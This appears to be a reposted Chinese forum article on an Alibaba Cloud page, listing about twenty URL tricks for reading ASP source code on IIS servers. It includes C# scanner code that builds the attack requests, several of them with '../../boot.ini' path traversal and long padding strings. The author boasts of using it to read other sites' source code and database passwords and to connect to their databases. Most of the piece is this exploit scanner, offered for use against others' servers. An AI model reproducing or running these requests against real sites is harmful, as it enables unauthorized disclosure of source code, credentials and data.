asp漏洞集

來源:互聯網
上載者:User
 眾所周知windows平台漏洞百出,補丁一個接一個,但總是補也補不淨。我把我所知道的20種看asp源碼的方法總結了一下,並且用c#寫了個應用程式來掃描這些漏洞,發現雖然大部分的方法已經不起做用,但還是有一些漏網之魚的:),結果這兩天真看到不少站的原始碼,包括資料庫密碼,如果用access的可以把庫下載下來,而用sql  server的如果不是用udl,dsn等來串連的話,也可以通過tcp/ip網路程式庫串連到資料庫,為所欲為呀。先面把這20種方法列在下面: 


%81 
:ATA 
%2e 
%2e%41sp 
+.htr 
\\ 
longhtr 
.bak 
codebrws.asp 
showcode.asp 
null.htw 
qfullhit.htw 
qsumrhit.htw 
query.idq 
search/qfullhit.htw 
search/qsumrhit.htw 
iirturnh.htw 
.htw 
Translate 


上邊這些漏洞前面10幾條是通過在asp檔案後直接加上,如%81就是xxx.asp%81,後面這些都是通過iis內建的例子或系統漏洞實現的,最特別的是那種translate方法,它直接通過瀏覽器是無法使用的,必須同伺服器建立tcp/ip的socket串連,發送請求才行,具體每個漏洞如何使用 

switch  (this.cboMethod.SelectedIndex) 

case  0:  //直接讀取 
strRequestFile  =  strServer  +  strUrl  ; 
break  ; 
case  5  :  //%2e%41sp 
strRequestFile  =  strServer  +  strPath  +  strFirst 
+  "%2e%41sp"  ; 
break  ; 
case  8  :  //longhtr 
strRequestFile  =  strServer  +  strUrl 
+  "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" 
+  "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" 
+  "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr"  ; 
break  ; 

case  10:  //codebrws.asp 
strRequestFile  =  strServer  +  "/iissamples/exair/howitworks/codebrws.asp?source=" 
+  strUrl  ; 
break  ; 

case  11:  //showcode.asp 
strRequestFile  =  strServer  +  "/iissamples/exair/howitworks/codebrws.asp?source=" 
+  "/msadc/../../../../boot.ini"  ; 
break; 

case  12  :  //null.htw 
strRequestFile  =  strServer  +  "/null.htw?CiWebHitsFile=" 
+  strUrl  +  "%20&CiRestriction=none&CiHiliteType=Full"  ; 
break  ; 
case  13  :  //qfullhit.htw 
strRequestFile  =  strServer  +  "/iissamples/issamples/oop/qfullhit.htw?" 
+  "CiWebHitsFile=/../../boot.ini&CiRestriction=none" 
+  "&CiHiliteType=Full"; 
break  ; 

case  14  :  //qsumrhit.htw 
strRequestFile  =  strServer  +  "/iissamples/issamples/oop/qsumrhit.htw?" 
+  "CiWebHitsFile=/../../boot.ini&CiRestriction=none" 
+  "&CiHiliteType=Full"; 
break  ; 

case  15  :  //query.idq 
strRequestFile  =  strServer  +  "/query.idq?CiTemplate=/../../boot.ini" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" 
+  "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx"; 
break  ; 

case  16:  //search/qfullhit.htw 
strRequestFile  =  strServer  +  "/iissamples/exair/search/qfullhit.htw?" 
+  "CiWebHitsFile=/../../boot.ini&CiRestriction=none" 
+  "&CiHiliteType=Full"; 
break  ; 

case  17:  //  search/qsumrhit.htw 
strRequestFile  =  strServer  +  "/iissamples/exair/search/qsumrhit.htw?" 
+  "CiWebHitsFile=/../../boot.ini&CiRestriction=none" 
+  "&CiHiliteType=Full"; 
break  ; 

case  18:  //iirturnh.htw 
strRequestFile  =  strServer  +  "/iishelp/iis/misc/iirturnh.htw?" 
+  "CiWebHitsFile=/../../boot.ini&CiRestriction=none" 
+  "&CiHiliteType=Full"; 
break  ; 

case  19:  //.htw 
strRequestFile  =  strServer  +  strUrl 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%" 
+  "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20" 
+  "%20%20%20%20%20%20%20%20%20%20%20.htw?" 
+  "CiWebHitsFile=/../../boot.ini&CiRestriction=none" 
+  "&CiHiliteType=Full"  ; 
break  ; 

default: 
strRequestFile  =  strServer  +  strUrl  +  this.cboMethod.Text  ;  




相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.